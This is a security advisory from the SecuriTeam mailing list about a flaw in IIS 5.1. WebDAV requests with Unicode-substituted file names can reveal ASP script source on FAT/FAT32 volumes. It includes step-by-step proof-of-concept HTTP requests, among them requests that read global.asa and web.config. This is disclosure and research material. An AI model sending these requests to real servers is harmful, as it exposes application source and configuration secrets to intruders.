[NT] IIS 5.1 Source Disclosure Under FAT/FAT32 Volumes Using WebDAV

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

IIS 5.1 Source Disclosure Under FAT/FAT32 Volumes Using WebDAV
------------------------------------------------------------------------

SUMMARY

It is possible to remotely view the source code of web script files though
a specially crafted WebDAV HTTP request. Only IIS 5.1 seems to be
vulnerable. The web script file must be on a FAT or a FAT32 volume, web
scripts located on a NTFS are not vulnerable.

DETAILS

Vulnerable Systems:
* Microsoft Internet Information Server version 5.1

Immune Systems:
* Microsoft Internet Information Server version 5.0
* Microsoft Internet Information Server version 6.0

WebDAV allows for retrieving streams using the "Translate: f" HTTP header,
the processing of this header has logic built into it so that web script
files are not processed, this logic can be avoided by using Unicode
characters instead in one of the letters of the file. The file must be on
a FAT or FAT32 volume to be viewed, a NTFS volume will return a"Forbidden"
HTTP response instead.

Proof of Concept #1
I have used the server "www.yourserver.xom" here, replace with your own
server name.
1. Format a volume as FAT or FAT32, or use an existing one
2. Create a folder called "www"
3. Add a new ASP file called "test.asp" in "www"
4. Add this code line "<%=Response.write("Hello World")%>" in "test.asp"
5. Open a browser and navigate to "http://www.yourserver.xom/test.asp" and
confirm that the text "Hello world" is returned and not the script code.
6. Create a new virtual folder in IIS 5.1 and map it to the folder you
made in step 2
7. Open a MSDOS console
8. Type "telnet www.yourserver.xom 80" and hit ENTER
9. Paste the following text block or type it manually:
GET /www/test.as%CF%80 HTTP/1.1
Translate: f
Host: www.yourserver.xom
Connection: Close
10. Hit ENTER twize to signal end of HTTP request
11. You should see "<%=Response.write("Hello World")%>" being returned

Proof of Concept #2
Shows the source of /global.asa:
GET /global.%C4%80sa HTTP/1.1
Translate: f
Host: localhost
Connection: Close

Shows the XML in /web.config:
GET /web.%c4%89onfig HTTP/1.1
Translate: f
Host: localhost
Connection: Close

ADDITIONAL INFORMATION

The information has been provided by
<mailto:inge.henriksen@booleansoft.com> Inge Henriksen.
The original article can be found at:
<http://ingehenriksen.blogspot.com/2005/09/iis-51-allows-for-remote-viewing-of.html> http://ingehenriksen.blogspot.com/2005/09/iis-51-allows-for-remote-viewing-of.html

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.